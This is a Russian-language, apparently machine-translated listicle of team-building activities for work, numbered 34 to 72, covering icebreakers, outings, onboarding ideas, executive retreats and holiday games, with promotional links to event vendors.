Тимбилдинг для работы: быстрые ледоколы

Мероприятия по тимбилдингу перед встречей разогреют вашу группу для плодотворного сотрудничества.Они заставляют людей думать и смеяться, и, что более важно, они заставляют всех в сознании делиться блестящими идеями.

34) Не средний ледокол

«Вопросы ледокола с изюминкой».

Придумывать способы связать вашу команду может быть сложно, но это не обязательно! Caroo создает безупречный опыт общения с их Icebreaker Box с восхитительными закусками, вопросами о ледоколе и набором для счастливых часов, чтобы вывести удовольствие на новый уровень.

Навыки, которые развивает эта рабочая деятельность: Общение, творчество и доверие.

Почему нам это нравится: Простое исполнение, восхитительные угощения и вкусные напитки, которые помогут вашей команде сплотиться как над наводящими на размышления, так и над провокационными вопросами.

Следующий шаг для начала: Найдите свой любимый ледокол с Caroo.

35) Ежедневные ледоколы

«Ледокол в день избавит от скуки».

Создайте командную работу, выделяя всего несколько минут в начале каждой встречи для быстрого ледокола.Эти мини-задания короткие и увлекательные, но они стоят каждой из нескольких коротких минут, которые они потратили. Они создают дух товарищества и подогревают людей для общения и обмена идеями, что делает встречи более продуктивными.

Навыки, которые развивает эта рабочая деятельность: Творческое мышление и общение.

Почему нам это нравится: Ледоколы работают как почти волшебный переключатель, активируя творческий потенциал и сотрудничество каждого. Благодаря быстрому 5-минутному занятию сотрудники будут заряжены энергией для решения любой встречи, звонка или мозгового штурма с новым энтузиазмом

Следующий шаг для начала: Найдите свой любимый ледокол с помощью Skip The Awkward Weather Talk, Water Cooler Trivia или QuizBreaker.

36) Оборотень

«Кто такой большой плохой волк?»

Что происходит, когда название вашей ледокольной игры — выживание? Есть только один способ узнать.

Чтобы играть в эту игру, ваша команда делится на две меньшие группы — оборотни и горожане. Сражайтесь лицом к лицу, пока все оборотни не будут мертвы или две группы не достигнут равного числа.

Навыки, которые развивает эта рабочая деятельность: Творческое мышление, решение проблем, доверие и критическое мышление.

Почему нам это нравится: Это занятие оформлено в веселой и пугающей теме, но также включает в себя много размышлений, стратегии и даже небольшого обмана — рецепт безупречно хорошо провести время. Вы узнаете новое о своих командах и, возможно, даже о себе. Вы также узнаете, кто не умеет сдерживать смех, а кто ужасный лжец.

Следующий шаг для начала: Научитесь играть в Werewolf over Zoom.

37) Скриббл

«Проверьте свои вторичные коммуникативные навыки.”

Приглашаем всех начинающих художников, стилистов фигурок и смелых рисовальщиков. Проведите окончательное испытание своих творений: посмотрите, сможет ли кто-нибудь сказать, какими они должны быть.

Простой интерфейс

Skribbl позволяет легко играть в классическую игру с рисованием и угадайкой.

Навыки, которые развивает эта рабочая деятельность: Творческое мышление и общение.

Почему нам это нравится: Активизирует невербальное общение.Вы не можете объяснить свой рисунок, поэтому людям приходится углубляться в свои знания о «художнике», чтобы делать обоснованные предположения. Также забавно наблюдать диссонанс между тем, что люди думают, что они нарисовали, или тем, что, по их мнению, они видят, и тем, что есть на самом деле.

Следующий шаг для начала: Сыграйте в Skribbl.

38) Роза / Шип

«Примите взлеты и падения, которые делают жизнь красивой».

Поделитесь своей благодарностью, а также небольшой уязвимостью, чтобы развить эти волшебные чувства командной близости, поддержки и сочувствия.Во время этого ледокола без суеты каждый просто делится своей розой (любой позитив, который заставляет их чувствовать себя благодарными, счастливыми и т. Д.), А также своей шипом (вызов или препятствие).

Навыки, которые развивает эта рабочая деятельность: Работа в команде, доверие и общение.

Почему нам это нравится: Это быстрый путь к использованию той же длины волны. Каждый разделяет небольшую благодарность и небольшую уязвимость. Это небольшое упражнение на открытие может заставить команду почувствовать себя более сплоченной.

Следующий шаг для начала: Просто соберите свою группу и начните делиться розами и шипами, например:

Рабочий:

  • Роза: Сегодня у меня есть партнер по мероприятию, который вернет мне деньги!
  • Thorn: Другой партнер не вернет мне деньги.

Не связанные с работой:

  • Роза: Сегодня я нашла время прогуляться.
  • Торн: Сегодня некогда было гулять.

«Я работаю в отделе корпоративного маркетинга в ZipRecruiter, и теперь вся наша команда удалена. Мы ежедневно общаемся с моим менеджером, и Роуз / Торн — это то, с чего мы начинаем каждую виртуальную встречу. Это быстрый способ начать командную кучу и привлечь всех к одной волне ».

— Джоанна Эрика, старший специалист по маркетингу в ZipRecruiter

39) Социальное перемешивание

«У всех есть забавный факт».

Если вы ищете ледокол Zoom, Social Shuffle — это интерактивный способ наладить более тесные связи между вашими коллегами с помощью серии тематических задач.С интересными темами для обсуждения, забавными фактами и задачами по решению проблем — ваша распределенная команда уйдет от этого 30-минутного ледокола, сияя.

Навыки, которые развивает эта рабочая деятельность: Общение, сотрудничество и решение проблем.

Почему нам это нравится: Это мероприятие поставляется со специальным менеджером и виртуальным организатором мероприятия — это означает, что вы можете расслабиться и беспокоиться только об участии в веселье!

Следующий шаг для начала: Воспользуйтесь Social Shuffle, чтобы спланировать ледокол на особый день встреч или начало проекта!

40) Коротко о выходных

«Убедитесь в огромной важности выбора слов.”

Ощутите силу лаконичности в действии с ледоколом, который требует, чтобы каждый сказал только одно слово. Соберите свою группу и попросите всех одним словом описать свои развлечения на прошлых выходных или планы и цели на будущие выходные. После того, как у всех будет очередь, вы можете задать дополнительные вопросы, если хотите. Слова, которые выбирают люди, скорее всего, вызовут у вас массу любопытства.

Навыки, которые развивает эта рабочая деятельность: Творческое мышление, общение и слушание.

Почему нам это нравится: Когда вы побуждаете товарищей по команде выбрать всего одно слово для описания больших концепций, вы узнаете, как работает их ум, вы узнаете, что для них важно, и вы, вероятно, глубоко задумаетесь над тем, что они сказали, гораздо больше, чем если они давали подробную игру на выходных за игрой.

Следующий шаг для начала работы: Легко не может быть. Просто поделитесь своими словами перед следующей встречей.

Ищете другие ледокольные работы? Ознакомьтесь с этими ресурсами SnackNation для дальнейшего чтения:

Тимбилдинг для работы: сотрудники

Деятельность по созданию команды для сотрудников — это сплочение.Конечно, «работать вместе каждый божий день» определенно является типом связи, но эти занятия являются особенными и обогащают, потому что они ставят сотрудников в новые, открывающие им глаза ситуации. Когда коллеги выходят за рамки повседневной рутины, они могут просто узнавать что-то новое о людях, с которыми они сидят каждый божий день.

41) Клуб приключений

«Сделайте приключения вашей следующей хорошей привычкой».

Начните ежемесячную авантюрную традицию отдыха на свежем воздухе, основанную на интересах вашей команды.Вы можете делать все, что захотите, от боулдеринга до наблюдения за птицами. Независимо от того, что вы выберете, вы будете связаны во время мероприятия. Вы будете связаны, обсуждая и переживая воспоминания о прошлом событии. Вы будете связаны, когда с нетерпением ждете следующего мероприятия.

Таким образом, вы сделаете много склеивания.

Навыки, которые развивает эта рабочая деятельность: Творческое мышление, командная работа, доверие и сотрудничество.

Почему нам это нравится: Традиции сильны. Они сближают людей и дают успокаивающее чувство безопасности и единства.Они могут сделать то же самое с офисной семьей.

Следующий шаг для начала: Найдите приключение!

42) Групповая велопробег

«Рулон со своим рабочим пакетом».

Когда вы выходите из офиса и садитесь на велосипеды, вы больше не сослуживцы. Вы товарищи-исследователи, искатели приключений, и город в вашем распоряжении.

Сила этого тимбилдингового события — спонтанность. Начните с групповой поездки на велосипеде в качестве простой конструкции, а затем позвольте ветру унести вас оттуда.Остановитесь на всплывающем фермерском рынке или разоблачите это странное здание, на которое вы всегда смотрите из окна своего офиса.

Навыки, которые развивает эта рабочая деятельность: Работа в команде, доверие, общение, лидерство и сотрудничество.

Почему нам это нравится: Новинка заставляет всех нас чувствовать себя хорошо, взволнованно и заряжать энергией. Это занятие позволяет командам испытать это захватывающее чувство новизны как группа, чтобы каждый человек мог навсегда связать свежие чувства исследования с людьми, с которыми они делились ими.

Следующий шаг для начала: Спланируйте свой маршрут.

43) Обеденный клуб

«Побалуйте себя кулинарными изысками».

Команда, которая ест вместе, остается вместе. Каждый должен есть, и, превратив его в тимбилдинг, вы можете превратить это иногда утилитарное занятие в бесценный момент для знакомства друг с другом.

Навыки, которые развивает эта рабочая деятельность: Творческое мышление и общение.

Почему нам это нравится: Новинка выбора нового места, где можно перекусить, обеспечивает мгновенную отправную точку для разговоров. Даже если у вас нет ничего общего, у вас есть «впервые попробовать этот ресторан», и этого достаточно, чтобы завязать хорошие разговоры.

Следующий шаг для начала работы: Откройте для себя следующий ресторан или устроьте виртуальный обед. Добавьте немного веселья в тимбилдинг, попросив всех сделать заказ для кого-то другого.

44) Обед на рабочем месте

«Офис не может сидеть с вами за обедом».

Это занятие имеет все атрибуты стандартного сдержанного командного обеда с одним ключевым отличительным фактором: вам не разрешают говорить о работе.

Отправляясь на обед, оставьте все свои рабочие цели, проблемы и идеи на работе. Когда вы бросаете себе вызов не обсуждать работу, вы обнаружите что-то новое, что объединяет всех вас.

Навыки, которые развивает эта рабочая деятельность: Творческое мышление, общение и слушание.

Почему нам это нравится: Это удивительно открывает глаза. Сначала вы можете осознать, насколько часто разговоры в вашей команде возвращаются к офисным вопросам. Но по мере того, как обед будет продолжаться, вы будете рады открыть для себя все другие удивительные вещи, о которых вам придется поговорить.

Следующий шаг для начала: Просто поставьте дату в календарь, напомните всем принести обед и получайте удовольствие.

45) Группа по пятницам

«Боритесь со спадами с новинками».

Регулярно выходите из зоны комфорта в группе, выделяя особые дни, чтобы делать что-то новое и интересное, о чем вы заранее договорились.

Помимо того, что вы становитесь ближе к своей команде во время самого мероприятия, вы станете ближе во время планирования, ожидания и после него.

Навыки, которые развивает эта рабочая деятельность: Работа в команде, сотрудничество и принятие решений.

Почему нам это нравится: Это дает вам что-то удивительное, чем можно заняться вместе, но также дает вам что-то удивительное, чего можно с нетерпением ждать, о чем можно поговорить, спланировать и вспомнить вместе. Даже одно захватывающее событие может обеспечить недели общения.

Следующий шаг для начала: Посетите Groupon.

Ищете еще подарки для коллег? Ознакомьтесь с этими ресурсами SnackNation для дальнейшего чтения:

Тимбилдинг для работы: менеджеры

Мероприятие по тимбилдингу, инициированное менеджером, обычно требует нескольких задач.Они часто предназначены для достижения «мягких» целей, важных для менеджеров, включая общение, мотивацию, дух товарищества, навыки командной работы и доверие. Участники уходят, чувствуя положительный эффект от хорошего времяпрепровождения, а также с несколькими командными рассказами, которые они могут использовать при следующей оценке эффективности.

46) Поделитесь своими любимыми видами спорта

«Сделать наблюдение за спортом».

Укрепляйте свою команду, наслаждаясь вечной активностью, наблюдая, как другие команды демонстрируют атлетизм.Присоединяйтесь к своей команде, разделяя радость, острые ощущения, разочарования и чистую энергию общего фандома.

Навыки, которые развивает эта рабочая деятельность: Работа в команде и сочувствие.

Почему нам это нравится: Это еще одно занятие, которое способствует более глубокому общению, не требующему сложного общения. Простое (но восторженное) «дай пять» в порыве общей победы творит чудеса.

Следующий шаг для начала: Купите билеты на Vividseats.

47) Старт кронштейна

«Удовлетворите свою конкурентоспособность».

Риски и выгоды небольших ставок сочетаются с азартом, связанным со спортом и развлечениями, и приносят вашей команде впечатления, которые волнуют всех. Делайте ставки друг против друга. Делайте ставки друг с другом. Повеселись.

Навыки, которые развивает эта рабочая деятельность: Сотрудничество, стратегическое мышление, критическое мышление и принятие решений.

Почему нам это нравится: Соревнование и азарт этого занятия оживляют людей.Все будут рады увидеть новые стороны своих коллег. Особенно приятно видеть, как даже ваш самый уравновешенный и тихий товарищ по команде переходит на треп, когда на кону стоит честь их любимой команды.

Следующий шаг для начала: Посетите BracketFights.

48) Экскурсия

«Побег из офиса».

Запланируйте выездное мероприятие, немного отдохнуть от обыденности, где каждый сможет собраться вместе в арендованном баре, частном кинотеатре — где угодно, кроме офиса.

Просто выйдя из повседневной среды, вы открываете свою команду новому опыту, новым знакомствам и новым друзьям. Даже неважно, какое занятие или место вы выберете.

Навыки, которые развивает эта рабочая деятельность: Творческое мышление, работа в команде и общение.

Почему нам это нравится: Простая магия нового опыта и новой среды питает новые связи. Люди обнаружат, что естественно разговаривают с людьми, которых они проходили, возможно, только в коридоре.Они будут задавать вопросы, которые не задали бы на кухне компании.

Следующий шаг для начала работы: На самом деле нет неправильного способа сделать это. Просто выберите веселое мероприятие за пределами офиса и наслаждайтесь всем, что оно может предложить.

49) Выбери свое приключение

«Сделайте то, о чем хотите рассказать своим внукам».

Blueboard позволяет сотрудникам выбирать собственные приключения. Их команда экспертов возьмет на себя все детали планирования, позволяя вашей команде получить именно тот опыт, который они хотят, без утомительного планирования.

Навыки, которые развивает эта рабочая деятельность: Творческое мышление, командная работа, доверие и умение слушать.

Почему нам это нравится: Даже после того, как чистая радость от опыта прошла, платформа вдыхает в него новую жизнь, вдохновляя всех делиться воспоминаниями о своем опыте прямо на платформе. Один опыт может принести месяцы пользы.

Следующий шаг для начала: Посетите Blueboard.

50) Розыгрыш Департамента

«Пусть идет дождь.”

Каков самый простой способ взволновать всю толпу? Раздача бесплатных вещей. Соберите воедино все свои сувениры, забавные гаджеты и открытые обеды вашего генерального директора в один кучу лотерейных призов, которые хочет каждый.

Навыки, которые развивает эта рабочая деятельность: Работа в команде и общение.

Почему нам это нравится: Волнение, которое может вызвать это событие, бесценно. Каждый почувствует себя таким же легкомысленным, как участник игрового шоу, когда увидит, удастся ли им покататься верхом с вашим президентом.

Следующий шаг для начала: Ознакомьтесь с основами проведения розыгрыша.

Ищете еще подарки для менеджеров? Ознакомьтесь с этими ресурсами SnackNation для дальнейшего чтения:

Тимбилдинг для работы: сотрудники

Мероприятия по построению команды, разработанные для сотрудников, ориентированы на радость. Руководители команд знают, что их сотрудники хотят больше всего остального — это немного отдохнуть от обыденного, время для сброса. Подобно маленьким мини-отпускам, эти мероприятия обычно уводят сотрудников с работы, чтобы получить новые впечатления.

51) Погром в грузовике с едой

«Гоните лучшую еду на колесах».

Представьте себе шумное возбуждение школьной столовой, умноженное на десять. (А также подают еду, которая в миллион раз вкуснее, чем в кафетерии.) Вот чем может стать любой парк или парковка, когда вы вызываете фургоны с едой и приглашаете свои команды на гастрономический полевой день.

Каждый будет резвиться, находя именно то, что ему нужно для гурманов, и при этом получать удовольствие от качественного общения.Однако это намного лучше, чем кафетерий, поскольку еда значительно вкуснее.

Навыки, которые развивает эта рабочая деятельность: Творческое мышление, общение и принятие решений.

Почему нам это нравится: Просмотр различных грузовиков, общение на ходу создает праздничную атмосферу, в которой еда — это не просто еда; это превосходно.

Следующий шаг для начала работы: Узнайте, какие грузовики с едой есть в вашем районе.

52) Посетите краеведческий музей

«Поднимите свой культурный фактор.”

Соберите команду и посетите местный музей, любой музей — искусство, историю, природу, науку, сельское хозяйство, что угодно. Бродите по экспонатам, обсуждая, узнавая и впитывая в себя все забавные факты, такие как губки.

Навыки, которые развивает эта рабочая деятельность: Творческое мышление и общение.

Почему нам это нравится: Посещение музея с коллегами вместо того, чтобы проводить выходные в одиночестве, приносит массу вознаграждений.

Следующий шаг для начала: Найдите музей рядом с вами или оставайтесь дома и следуйте инструкциям в интерактивном виртуальном туре по музею.

53) Выходите на улицу

«Смени костюм на залитую солнцем кожу».

Когда вы действительно думаете об этом, весь мир похож на одно большое тимбилдинговое приключение, которое только и ждет, чтобы вы его захватили.

Займитесь глэмпингом, ныряйте с аквалангом, отправляйтесь в походы или займитесь боулдерингом. Следующее интересное приключение вашей команды может ждать где угодно. Просто посмотрите в окно и посмотрите возможности.

Навыки, которые развивает эта рабочая деятельность: Решение проблем, командная работа и доверие.

Почему нам это нравится: Большинство людей не совсем понимают, как начать планировать эпическое приключение. Blueboard упрощает задачу. Просто найдите опыт, который говорит о коллективном авантюрном духе вашей команды, и Blueboard воспользуется им оттуда.

Следующий шаг для начала: Посетите Blueboard.

54) Потрясающе плохое искусство

«Напрягите мышцы признательности».

Некоторые из лучших мероприятий по командообразованию заставляют людей менять свои взгляды.В некоторых случаях для этого нужно узнать, что Гретхен нервничает в офисе только потому, что ей нужно больше витамина D, или что идеи Маркуса звучат намного лучше, когда вы не сидите вместе в конференц-зале.

Укрепляйте умственные мускулы, которые подпитывают непредубежденность, посещая художественные галереи. Вместо того, чтобы пытаться выдать экспертный анализ, сосредоточьтесь на попытках найти и обсудить положительные моменты в том, что вы на первый взгляд абсолютно ненавидели.

Навыки, которые развивает эта рабочая деятельность: Творческое мышление и общение.

Почему нам это нравится: Быстрые суждения вредны практически во всех жизненных ситуациях, от простого разговора с самим собой до взаимодействия на рабочем месте. Это задание побуждает команды работать вместе, чтобы оспорить их нестандартные суждения и развить навыки, необходимые для изменения точки зрения.

Следующий шаг для начала: Найдите художественную галерею или проверьте свои навыки на уроке живописи под руководством инструктора.

55) Виртуальное предприятие в Париж

«Париж ближе, чем вы думаете.”

Соберите свою команду, чтобы сделать что-то виртуально, как группа, которую вы, скорее всего, никогда не будете делать лично: совершите групповую поездку в Париж.

Попробуйте местные деликатесы. Прогуляйтесь по городу своей мечты. Смотрите на мир через розовый экран компьютера вместо очков. Короче, живи как парижанин.

Практически наслаждайтесь всеми лучшими, наиболее полезными аспектами путешествия со своей командой, но избегайте капризов и тесных перелетов и спите в собственной кровати, когда все закончится.

Навыки, которые развивает эта рабочая деятельность: Работа в команде, доверие и общение.

Почему нам это нравится: что не нравится в поиске пути в Париж с помощью магии Интернета? Это занятие предлагает концентрированную дозу удовольствия от путешествия в пакете, которым вы можете реально наслаждаться со своей рабочей командой.

Следующий шаг для начала: Посетите Вояго.

Ищете еще подарки для сотрудников? Ознакомьтесь с этими ресурсами SnackNation для дальнейшего чтения:

Тимбилдинг для работы: адаптация

Мероприятия по адаптации команды к работе направлены на то, чтобы ускорить достижение бесценного чувства принадлежности, которого жаждут новые сотрудники.Они упаковывают различные полезности, чтобы познакомиться с вами всего за несколько часов, добиваясь того типа отношений, на достижение которых в противном случае потребовались бы недели работы.

56) Пробежка после работы

«Попытайтесь создать нерушимые узы».

Вместе работают только самые близкие команды. Приветствуйте новых сотрудников, организуя простую пробежку после работы. Это низкое давление, позволяет легко побеседовать, и новые сотрудники сразу же почувствуют себя частью вашей сплоченной команды.

Навыки, которые развивает эта рабочая деятельность: Работа в команде, доверие, общение и сочувствие.

Почему нам это нравится: Он снимает нагрузку с новых сотрудников. Это позволяет им проводить время со своей новой командой во время совершенно обычной повседневной деятельности. Это помогает им преодолеть нервы, которые могут возникнуть в связи с проведением мероприятия специально в их честь.

Следующий шаг для начала: Найдите идеальный маршрут.

57) Супер-письмо для ознакомления

«Дайте новым сотрудникам сверхсекретное досье вашей команды.”

Подарите своим новым сотрудникам супер-электронное письмо с информацией о вас. Составьте список всех членов вашей команды, включая их имена, фотографии, роли, любимые фильмы и другие интересные факты. Новые сотрудники найдут это основание и получат фору в процессе знакомства.

Навыки, которые развивает эта рабочая деятельность: Доверие, общение и сочувствие.

Почему нам это нравится: Говорят, знание — сила.Когда дело доходит до новых сотрудников, знания об их товарищах по команде расширяют возможности. Узнав немного обо всех, они будут меньше чувствовать себя посторонними.

Следующий шаг для начала работы: Вдохновляйтесь этим списком полезных вопросов.

58) Команда мелочи

«Командные мелочи совсем не тривиальны».

Совместите удовольствие от пустяков с возможностью познакомиться с вами, организуя викторины и викторины о своих товарищах по команде.

Структурированный формат вопросов позволяет каждому не только получить больше удовольствия, но и узнать больше, чем в ходе открытого разговора.

Навыки, которые развивает эта рабочая деятельность: Решение проблем, критическое мышление и принятие решений.

Почему нам это нравится: В рамках онбординга мелочи одновременно развлекают и укрепляют связи. Новым членам команды понравится узнавать все секреты команды, например, у кого есть фотографическая память на научные факты или кто следит за текущими событиями.Кроме того, даже существующие члены команды могут узнать несколько вещей, которые их удивят или даже расстроят.

Следующий шаг для начала: Создайте собственный тест с QuizBreaker или создайте свой собственный викторину с помощью Water Cooler Trivia.

59) необитаемый остров

«Собери свой рюкзак для неожиданного отдыха на острове».

Вовлеките свою команду в театр воображения. Превратите любой старый конференц-зал или место сбора в необитаемый остров.Просто попросите всех перечислить и аргументировать три пункта, которые они хотели бы иметь под рукой.

Это упражнение посвящено исследованию возможностей. Людям понравится учиться друг у друга и расширять кругозор, когда они слышат, что будут делать все остальные в их команде, когда на кону стоит выживание.

Навыки, которые развивает эта рабочая деятельность: Творческое мышление, критическое мышление и принятие решений.

Почему нам это нравится: Прослушивание людей перечисляет выбранные ими элементы и их логику, демонстрируя широкий спектр точек зрения и навыков решения проблем, представленных в вашей команде.

Следующий шаг для начала работы: Ознакомьтесь с этими советами по занятиям.

60) Войны Гифи

«Узнайте, всем ли нравятся ваши гифки так же сильно, как и вам».

Используйте платформу для распознавания сотрудников или коммуникаций в качестве поля битвы в эпических войнах с мифами.

Просто отправьте запрос (например, самый главный кот в Интернете) и дайте каждому возможность ответить, предоставив лучший GIF-файл, который они могут найти. Проголосуйте за лучшие GIF-изображения, чтобы узнать, кто выиграл войну.

Вы даже можете каждую неделю устраивать войну на разные темы, например, фильмы, спорт и кошки.

Навыки, которые развивает эта рабочая деятельность: Творческое мышление и общение.

Почему нам это нравится: Всем нравятся гифки, а также спешка с поиском того, который кажется идеально сделанным на данный момент.

Следующий шаг для начала: Посетите Нектар, ваше поле битвы в войне с мифами.

Ищете дополнительные ресурсы для адаптации? Ознакомьтесь с этими ресурсами SnackNation для дальнейшего чтения:

Тимбилдинг для работы: профессионалы

Когда вы планируете тимбилдинг для профессионалов, работающих в режиме нон-стоп, основное внимание уделяется совершенствованию командной работы, решению проблем и всем другим замечательным переводимым навыкам, над которыми любят работать профессионалы.

Участники будут искать новые навыки, которые они могут применить на следующей рабочей неделе, поэтому каждое мероприятие должно давать им много материала для работы. (Они, вероятно, даже будут рассчитывать на последующий опрос, чтобы они могли должным образом оценить эффективность мероприятия.)

61) Капля яйца

«Может ли ваша команда лучше, чем все королевские лошади и все королевские люди?»

Можете ли вы и ваша команда придумать, как кидать яйца, не разбивая их?

Разделитесь на разные команды и позвольте начать процесс разработки безопасного для яиц.Подключитесь большой группой к фазе тестирования.

Попросите каждую небольшую группу обсудить что-нибудь новое, что они узнали о работе в команде, чтобы улучшить обучающий аспект этой деятельности.

Навыки, которые развивает эта рабочая деятельность: Решение проблем, командная работа и сотрудничество.

Почему нам это нравится: Этот эксперимент имеет множество преимуществ. Всем будет приятно услышать, как их товарищи по команде предлагают нюансы дизайна, которые они даже не задумывались.

Следующий шаг для начала работы: Прочтите инструкции из Музея науки и промышленности в Чикаго или посмотрите это видео.

62) Человеческий узел

«Узнайте, что значит чувствовать себя по-настоящему неразлучным».

Во время этого физического тимбилдинга вы объединитесь как человеческий узел, вы соедините свои головы, чтобы выбраться из указанного узла, и, в конце концов, вы вырветесь, но вы все равно будете чувствовать себя ближе, чем когда-либо. .

Навыки, которые развивает эта рабочая деятельность: Решение проблем, командная работа и сотрудничество.

Почему нам это нравится: Это делает командную работу тактильной.Вы сможете увидеть его в действии, а если снимете это мероприятие, вы сможете узнать кое-что, посмотрев его позже.

Следующий шаг для начала: Посмотрите на человеческий узел в действии.

63) Самая длинная тень

«Затмить конкуренцию».

Вы и ваша команда должны собрать все вместе, чтобы превратить все ваши индивидуальные тени в одну единую тень. Но это только минимум. Если вы хотите победить, вы также должны убедиться, что ваша тень длиннее, чем у любой другой группы.

Навыки, которые развивает эта рабочая деятельность: Решение проблем, командная работа и сотрудничество.

Почему нам это нравится: Это требует большой координации. У всех равная роль, и каждый должен играть свою роль. В то время как некоторые люди могут естественным образом занять руководящие роли, каждый в конечном итоге должен подчиниться, чтобы создать тень.

Следующий шаг для начала работы: Просмотрите инструкции.

64) Имя Импульс

«Узнай, что на самом деле написано в названии.”

Ты ведь знаешь свое имя? Вы можете помнить это несмотря ни на что, верно?

Это веселое тимбилдинговое мероприятие бросает вызов простой силе имен, заставляя каждого говорить свое в различных быстро меняющихся ситуациях.

Навыки, которые развивает эта рабочая деятельность: Общение и слушание.

Почему нам это нравится: Когда вы играете, вы будете приятно удивлены тем, как ваш мозг, кажется, хочет отдать предпочтение идентичности всей группы над индивидуальным именем, к которому вы так глубоко привязаны.

Следующий шаг для начала работы: Посмотрите обучающее видео.

«Самое крутое, когда все понимают, что они в команде победителей, мы можем многому научиться». — Инглес, комментатор Youtube

65) Игра чисел

«Обмен цифрами другим способом».

Можете ли вы сделать эффективную игру по построению команды, основанную только на числах?

Конечно.

В этом упражнении каждый получает однозначное число.Когда один человек выкрикивает многозначное число, все должны карабкаться вокруг, чтобы сформировать это число, находя других товарищей по команде с соответствующими цифрами.

Навыки, которые развивает эта рабочая деятельность: Коммуникация, сотрудничество и принятие решений.

Почему нам это нравится: Это может показаться занятием в классе, однако, когда вы действительно начнете играть, вы будете в восторге от того, насколько сложным и веселым оно может быть.

Следующий шаг для начала: Посмотрите его на Youtube.

Ищете еще подарки для профессионалов? Ознакомьтесь с этими ресурсами SnackNation для дальнейшего чтения:

Тимбилдинг для работы: руководители

Провидческие руководители тяготеют к деятельности по построению команды, которая согласуется со всем, что занимает их мысли, надежды и мечты: траекториями компании, продуктивностью, стратегией, долгосрочными целями, миссиями, новыми идеями и т. Д. Вы можете ожидать, что эти действия по построению команды будут сосредоточены на больших идеях, открытом мозговом штурме и, возможно, даже на некотором тактическом планировании (даже если этот последний этап произойдет во время последующего мероприятия).

66) Тайный босс

«Докажите, что вы можете избавить босса от босса».

Руководители

могут взять пример с отмеченного наградами телешоу и создать прочные командные связи, фактически став частью команды на один день.

Во время этой деятельности руководители просто проводят целый день, работая со своими командами, позволяя своим сотрудникам показать им основы. Чтобы получить максимум удовольствия, сформулируйте четкое правило: никто ни при каких обстоятельствах не должен легкомысленно относиться к «новичку».”

Навыки, которые развивает эта рабочая деятельность: Командная работа и доверие.

Почему нам это нравится: Большинство взаимодействий сотрудников с руководителями высшего звена включает в себя большие модные мероприятия или слушание разговоров в гулких аудиториях. Эта деятельность позволяет руководителям выявить человека, стоящего за должностью, и получить за это восхищение.

Следующий шаг для начала: Вдохновляйтесь оригинальным телешоу Undercover Boss.

67) Отступление команды C-Suite

«Выходной день руководителя.”

Некоторые руководители могут подумать, что могут пропустить все мероприятия по построению команды и мероприятия, в которых участвуют другие сотрудники. В конце концов, они нечеловечески заняты. Но это еще одна причина того, что уединение по построению команды может принести большую пользу их трудовой жизни.

Соберите самых занятых руководителей на уединение, которому не разрешается работать. Вовлеките их в день разговора, видения и групповой поддержки. Этим руководителям, возможно, никогда не придется делить офисы или вести групповую работу, но сплоченность их команды так же важна, как и для любой другой команды.

Навыки, которые развивает эта рабочая деятельность: Работа в команде, доверие, общение и лидерство.

Почему нам это нравится: Он закрепляет простую концепцию, согласно которой работа в команде никогда не превзойдет вас. Занятые люди могут пренебрегать тимбилдингом, но это занятие напомнит им, почему им не следует этого делать.

Следующий шаг для начала работы: Найдите несколько идей для руководителей.

68) Групповой чат вдохновителя

«Подключайтесь к коллективному вдохновителю.”

Великие умы могут думать одинаково, но это не мешает им делиться своими идеями и обсуждать их. Эта деятельность просто строится на силе идей лидеров и неизмеримых наградах за обмен и поддержку этих идей в групповом контексте — будь то во время разового мероприятия или бесконечно продолжающегося в общем канале Slack.

Навыки, которые развивает эта рабочая деятельность: Творческое мышление, коммуникация, лидерство и стратегическое мышление.

Почему нам это нравится: Идеи прекрасны. И подобно домино или идеально каскадной цепочке поставок, одна идея может вдохновить на создание блестящей цепочки до тех пор, пока самым большим препятствием на пути вашей компании к успеху не станет приоритетность конвейера.

Следующий шаг для начала работы: Просто соберите вместе руководителей и начните говорить. Это так просто.

69) Мини-беседы на TED

«Вдохновение».

Кто не любит вдохновляющие выступления на TED? Примените этот фирменный стиль TED к микрокосму вашей компании.Попросите руководителей компании рассказать свои истории и поделиться опытом о том, что значит быть частью вашей компании, о будущем росте, о безграничном потенциале. Небо это предел.

Навыки, которые развивает эта рабочая деятельность: Творческое мышление, общение и лидерство.

Почему нам это нравится: Зрителям понравится слушать. Лидерам понравится говорить. И обе эти вещи, работающие в гармонии, распространят бодрящее чувство вдохновения по всему офису.

Следующий шаг для начала: Ознакомьтесь с этими советами по созданию выступления на TED Talk.

70) Испугаться

«Напугайте те скрытые запасы исполнительной энергии».

Планирование успешных мероприятий по построению команды для руководителей требует повышения ставок, а также предложения чего-то, некоторой задачи, перед которой целеустремленные руководители, скорее всего, не смогут устоять.

Пусть они столкнутся со своими самыми большими страхами или, по крайней мере, с чем-то до смешного страшным в группе.Они будут создавать новые связи, а в некоторых случаях лечить свой мозг и преодолевать ограничивающие убеждения.

Навыки, которые развивает эта рабочая деятельность: Командная работа и доверие.

Почему нам это нравится: Совместное преодоление страхов, обмен адреналином, а также поддержка друг друга во всем этом объединят вашу команду высшего руководства, как никогда раньше.

Следующий шаг для начала: Оцените эти адреналиновые мероприятия для любителей острых ощущений.

Ищете дополнительную поддержку со стороны руководства? Ознакомьтесь с этими ресурсами SnackNation для дальнейшего чтения:

Тимбилдинг для работы: Рождество

Тимбилдинг в преддверии зимних праздников облекается в веселую повседневную одежду чистого единения. В этих событиях то, что вы делаете, не так важно, как то, с кем вы это делаете. Если вы сможете собрать всю свою команду вместе на какое-то время и оставить несколько ярких воспоминаний, пока вы на нем, то ваше мероприятие будет иметь потрясающий успех.

71) Тайный Санта

«Сделайте Санту душевным».

Эта праздничная классика позволяет каждому испытать радость дарить и получать подарки, не заставляя никого покупать целый мешок, полный подарков.

Каждый гость приносит подарок другому. Личность дарителя остается в секрете до тех пор, пока все подарки не будут открыты и каждый человек не попытается угадать личность своего тайного Санты.

Навыки, которые развивает эта рабочая деятельность: Творческое мышление и работа в команде.

Почему нам это нравится: Подходит для любого праздника или случая дарения подарков. Все чувствуют себя включенными и одинаково разделяют радость.

Следующий шаг для начала работы: Прочтите подробные правила. Не стесняйтесь расширять пул подарков на другие отделы, с которыми вы не так много взаимодействуете. Получение друг другу секретных подарков Санта-Клауса только сблизит вас.

72) Сделайте индивидуальное приветствие для команды

«Дайте каждому больше того, чего они действительно хотят.”

Подарите себе праздничное настроение, объединившись, чтобы сделать карточку команды, наклейки или даже веселые магниты на холодильник со всеми своими красивыми лицами.

Навыки, которые развивает эта рабочая деятельность: Творческое мышление, работа в команде и общение.

Почему нам это нравится: Он дарит радость с совершенно личным и юмористическим оттенком.

